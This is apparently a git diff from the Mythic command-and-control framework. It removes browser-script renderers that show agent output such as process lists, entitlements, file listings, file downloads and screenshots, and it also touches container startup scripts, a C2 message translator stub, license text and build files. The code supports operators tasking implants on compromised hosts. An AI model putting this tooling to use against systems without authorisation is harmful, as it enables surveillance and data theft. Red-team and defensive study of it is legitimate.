const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"download":[{
|
||||
"agent_file_id": data["agent_file_id"],
|
||||
"variant": "contained",
|
||||
"name": "Download file"
|
||||
}]};
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
|
||||
}else if(task.status === "processed"){
|
||||
if(responses.length > 0){
|
||||
const task_data = JSON.parse(responses[0]);
|
||||
return {"plaintext": "Downloading file with " + task_data["total_chunks"] + " total chunks..."};
|
||||
}
|
||||
return {"plaintext": "No data yet..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "No response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
let output_table = [];
|
||||
for(let i = 0; i < data.length; i++){
|
||||
output_table.push({
|
||||
"name":{"plaintext": data[i]["name"]},
|
||||
"pid": {"plaintext": data[i]["process_id"]},
|
||||
"bundle": {"plaintext": data[i]["bundle"], "copyIcon": true},
|
||||
"arch": {"plaintext": data[i]["architecture"]},
|
||||
"rowStyle": {"backgroundColor": data[i]["frontMost"] ? "mediumpurple": ""},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View Paths",
|
||||
"type": "dictionary",
|
||||
"value": {
|
||||
"bundleURL": data[i]["bundleURL"],
|
||||
"bin_path": data[i]["bin_path"],
|
||||
},
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Value",
|
||||
"title": "Viewing Paths"
|
||||
},
|
||||
{
|
||||
"name": "entitlements",
|
||||
"type": "task",
|
||||
"ui_feature": "list_entitlements:list",
|
||||
"parameters": data[i]["process_id"].toString()
|
||||
}
|
||||
]
|
||||
}},
|
||||
})
|
||||
}
|
||||
return {
|
||||
"table": [
|
||||
{
|
||||
"headers": [
|
||||
{"plaintext": "pid", "type": "number", "width": 100},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "bundle", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "arch", "type": "string", "width": 100},
|
||||
{"plaintext": "actions", "type": "button", "width": 100},
|
||||
],
|
||||
"rows": output_table,
|
||||
"title": "Process Data"
|
||||
}
|
||||
]
|
||||
}
|
||||
}catch(error){
|
||||
console.log(error);
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No output from command"};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."};
|
||||
}
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
|
||||
let headers = [
|
||||
{"plaintext": "pid", "type": "number", "width": 100},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "bundle", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "entitlements", "type": "button", "width": 200}];
|
||||
let data = "";
|
||||
try{
|
||||
data = JSON.parse(responses[0]);
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
let rows = [];
|
||||
for(let i = 0; i < data.length; i++){
|
||||
let row = {
|
||||
"name": {"plaintext": data[i]["name"]},
|
||||
"pid": {"plaintext": data[i]["pid"]},
|
||||
"bundle": {"plaintext": data[i]["bundle"], "copyIcon": true},
|
||||
"entitlements": {"button": {
|
||||
"name": "",
|
||||
"startIcon": "list",
|
||||
"type": "dictionary",
|
||||
"value": data[i]["entitlements"],
|
||||
"disabled": Object.keys(data[i]["entitlements"]).length === 0,
|
||||
"leftColumnTitle": "Entitlements",
|
||||
"rightColumnTitle": "Value",
|
||||
"title": "Viewing Entitlements"
|
||||
}},
|
||||
};
|
||||
rows.push(row);
|
||||
}
|
||||
return {"table":[{
|
||||
"headers": headers,
|
||||
"rows": rows,
|
||||
"title": "Process Entitlements"
|
||||
}]};
|
||||
}else{
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
return {"plaintext": "Only have partial data so far..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,143 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed && responses.length > 0){
|
||||
let data = "";
|
||||
try{
|
||||
data = JSON.parse(responses[0]);
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
let ls_path = "";
|
||||
if(data["parent_path"] === "/"){
|
||||
ls_path = data["parent_path"] + data["name"];
|
||||
}else{
|
||||
ls_path = data["parent_path"] + "/" + data["name"];
|
||||
}
|
||||
let headers = [
|
||||
{"plaintext": "actions", "type": "button", "width": 100, "disableSort": true},
|
||||
{"plaintext": "size", "type": "size", "width": 200},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "owner", "type": "string", "width": 300},
|
||||
{"plaintext": "group", "type": "string", "width": 300},
|
||||
{"plaintext": "posix", "type": "string", "width": 100, "disableSort": true},
|
||||
|
||||
];
|
||||
let rows = [{
|
||||
"rowStyle":{},
|
||||
"name": {"plaintext": data["name"], "startIcon": data["is_file"] ? "file": "folder"},
|
||||
"size": {"plaintext": data["size"]},
|
||||
"owner": {"plaintext": data["permissions"]["owner"]},
|
||||
"group": {"plaintext": data["permissions"]["group"]},
|
||||
"posix": {"plaintext": data["permissions"]["posix"]},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View XATTRs",
|
||||
"type": "dictionary",
|
||||
"value": data["permissions"],
|
||||
"leftColumnTitle": "XATTR",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing XATTRs"
|
||||
},
|
||||
{
|
||||
"name": "Get Code Signatures",
|
||||
"type": "task",
|
||||
"ui_feature": "code_signatures:list",
|
||||
"parameters": {"path": ls_path},
|
||||
},
|
||||
{
|
||||
"name": "LS Path",
|
||||
"type": "task",
|
||||
"ui_feature": "file_browser:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "Download File",
|
||||
"type": "task",
|
||||
"disabled": !data["is_file"],
|
||||
"ui_feature": "file_browser:download",
|
||||
"parameters": ls_path,
|
||||
"startIcon": "download"
|
||||
}
|
||||
]
|
||||
}}
|
||||
}];
|
||||
for(let i = 0; i < data["files"].length; i++){
|
||||
let ls_path = "";
|
||||
if(data["parent_path"] === "/"){
|
||||
ls_path = data["parent_path"] + data["name"] + "/" + data["files"][i]["name"];
|
||||
}else{
|
||||
ls_path = data["parent_path"] + "/" + data["name"] + "/" + data["files"][i]["name"];
|
||||
}
|
||||
let row = {
|
||||
"rowStyle": {},
|
||||
"name": {"plaintext": data["files"][i]["name"], "startIcon": data["files"][i]["is_file"] ? "file": "folder"},
|
||||
"size": {"plaintext": data["files"][i]["size"]},
|
||||
"owner": {"plaintext": data["files"][i]["permissions"]["owner"]},
|
||||
"group": {"plaintext": data["files"][i]["permissions"]["group"]},
|
||||
"posix": {"plaintext": data["files"][i]["permissions"]["posix"],
|
||||
"cellStyle": {
|
||||
|
||||
}
|
||||
},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View XATTRs",
|
||||
"type": "dictionary",
|
||||
"value": data["files"][i]["permissions"],
|
||||
"leftColumnTitle": "XATTR",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing XATTRs"
|
||||
},
|
||||
{
|
||||
"name": "Get Code Signatures",
|
||||
"type": "task",
|
||||
"ui_feature": "code_signatures:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "LS Path",
|
||||
"type": "task",
|
||||
"ui_feature": "file_browser:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "Download File",
|
||||
"type": "task",
|
||||
"disabled": !data["files"][i]["is_file"],
|
||||
"ui_feature": "file_browser:download",
|
||||
"parameters": ls_path,
|
||||
"startIcon": "download",
|
||||
"startIconColor": "lightgreen",
|
||||
"hoverText": "Task agent to download"
|
||||
}
|
||||
]
|
||||
}}
|
||||
};
|
||||
rows.push(row);
|
||||
}
|
||||
return {"table":[{
|
||||
"headers": headers,
|
||||
"rows": rows,
|
||||
"title": "File Listing Data"
|
||||
}]};
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
return {"plaintext": "Only have partial data so far..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"screenshot":[{
|
||||
"agent_file_id": [data["file_id"]],
|
||||
"variant": "contained",
|
||||
"name": "View Screenshot"
|
||||
}]};
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."}
|
||||
}
|
||||
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
if(responses.length > 0){
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"screenshot":[{
|
||||
"agent_file_id": [data["file_id"]],
|
||||
"variant": "contained",
|
||||
"name": "View Partial Screenshot"
|
||||
}]};
|
||||
}
|
||||
return {"plaintext": "No data yet..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_payloadtype_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat()
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_translator_container:0.0.4
|
||||
Whitespace-only changes.
Whitespace-only changes.
@@ -1,81 +0,0 @@
|
||||
import json
|
||||
import base64
|
||||
import sys
|
||||
# translate_from_c2_format gets a message from Mythic that is in the c2-specific format
|
||||
# and returns a message that's translated into Mythic's JSON format
|
||||
# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also decrypt
|
||||
# the message
|
||||
# request will be JSON with the following format:
|
||||
# {
|
||||
# "enc_key": None or base64 of key if Mythic knows of one,
|
||||
# "dec_key": None or base64 of key if Mythic knows of one,
|
||||
# "uuid": uuid of the message,
|
||||
# "profile": name of the c2 profile,
|
||||
# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
|
||||
# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
|
||||
# "message": base64 of the message that's currently in c2 specific format
|
||||
# }
|
||||
# This should return the JSON of the message in Mythic format
|
||||
|
||||
|
||||
async def translate_from_c2_format(request) -> dict:
|
||||
if not request["mythic_encrypts"]:
|
||||
return json.loads(base64.b64decode(request["message"]).decode()[36:])
|
||||
else:
|
||||
return json.loads(base64.b64decode(request["message"]))
|
||||
|
||||
|
||||
# translate_to_c2_format gets a message from Mythic that is in Mythic's JSON format
|
||||
# and returns a message that's formatted into the c2-specific format
|
||||
# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also encrypt
|
||||
# the message
|
||||
# request will be JSON with the following format:
|
||||
# {
|
||||
# "enc_key": None or base64 of key if Mythic knows of one,
|
||||
# "dec_key": None or base64 of key if Mythic knows of one,
|
||||
# "uuid": uuid of the message,
|
||||
# "profile": name of the c2 profile,
|
||||
# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
|
||||
# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
|
||||
# "message": JSON of the mythic message
|
||||
# }
|
||||
# This should return the bytes of the message in c2 specific format
|
||||
|
||||
async def translate_to_c2_format(request) -> bytes:
|
||||
if not request["mythic_encrypts"]:
|
||||
return base64.b64encode(request["uuid"].encode() + json.dumps(request["message"]).encode())
|
||||
else:
|
||||
return json.dumps(request["message"]).encode()
|
||||
|
||||
|
||||
# generate_keys gets a message from Mythic that is in Mythic's JSON format
|
||||
# and returns a a JSON message with encryption and decryption keys for the specified type
|
||||
# request will be JSON with the following format:
|
||||
# { "action": "generate_keys",
|
||||
# "message": JSON of the C2 parameter that has a crypt_type that's not None and not empty
|
||||
# }
|
||||
# example:
|
||||
# {"action":"generate_keys",
|
||||
# "message":{
|
||||
# "id":39,
|
||||
# "name":"AESPSK",
|
||||
# "default_value":"aes256_hmac\nnone",
|
||||
# "required":false,
|
||||
# "randomize":false,
|
||||
# "verifier_regex":"",
|
||||
# "parameter_type":"ChooseOne",
|
||||
# "description":"Crypto type",
|
||||
# "c2_profile":"http",
|
||||
# "value":"none",
|
||||
# "payload":"be8bd7fa-e095-4e69-87aa-a18ba73288cb",
|
||||
# "instance_name":null,
|
||||
# "operation":null,
|
||||
# "callback":null}}
|
||||
# This should return the dictionary of keys like:
|
||||
# {
|
||||
# "enc_key": "base64 of encryption key here",
|
||||
# "dec_key": "base64 of decryption key here",
|
||||
# }
|
||||
|
||||
async def generate_keys(request) -> dict:
|
||||
return {"enc_key": None, "dec_key": None}
|
||||
Whitespace-only changes.
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_translator_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat()
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
File renamed without changes.
@@ -29,29 +29,7 @@ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
## Licenses for other projects used:
|
||||
|
||||
## Wait For It - https://github.com/vishnubob/wait-for-it
|
||||
The MIT License (MIT)
|
||||
Copyright (c) 2016 Giles Hall
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
# Licenses for other projects used:
|
||||
|
||||
## arrgv - https://github.com/astur/arrgv
|
||||
MIT License
|
||||
@@ -75,3 +53,126 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## https://pkg.go.dev/golang.org/x/mod/semver?tab=licenses
|
||||
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
## https://github.com/IonicaBizau/anser/blob/master/LICENSE
|
||||
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2012-22 Ionică Bizău <[email protected]> (https://ionicabizau.net)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## https://github.com/rubenv/sql-migrate/blob/master/LICENSE
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (C) 2014-2021 by Ruben Vermeersch <[email protected]>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
MIT license
|
||||
===========
|
||||
|
||||
Copyright (c) 2017 sql.js authors (see AUTHORS)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
|
||||
|
||||
# Some portions of the Makefile taken from:
|
||||
Copyright 2017 Ryusei Yamaguchi
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -0,0 +1,17 @@
|
||||
.PHONY: default
|
||||
default: linux ;
|
||||
|
||||
linux:
|
||||
cd Mythic_CLI && make build_linux && mv mythic-cli ../
|
||||
|
||||
macos:
|
||||
cd Mythic_CLI && make build_macos && mv mythic-cli ../
|
||||
|
||||
local:
|
||||
cd Mythic_CLI && make build_local
|
||||
|
||||
linux_docker:
|
||||
cd Mythic_CLI && make build_linux_docker && mv mythic-cli ../
|
||||
|
||||
macos_docker:
|
||||
cd Mythic_CLI && make build_macos_docker && mv mythic-cli ../
|
||||
@@ -0,0 +1,20 @@
|
||||
*
|
||||
!Dockerfile
|
||||
!package.json
|
||||
!package-lock.json
|
||||
!config-overrides.js
|
||||
!public/
|
||||
!public/**
|
||||
!src/
|
||||
!src/**
|
||||
!.env
|
||||
|
||||
.DS_Store
|
||||
**/.DS_Store
|
||||
node_modules/
|
||||
build/
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
.npm/
|
||||
.cache/
|
||||
Loaded 100 of 3238 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user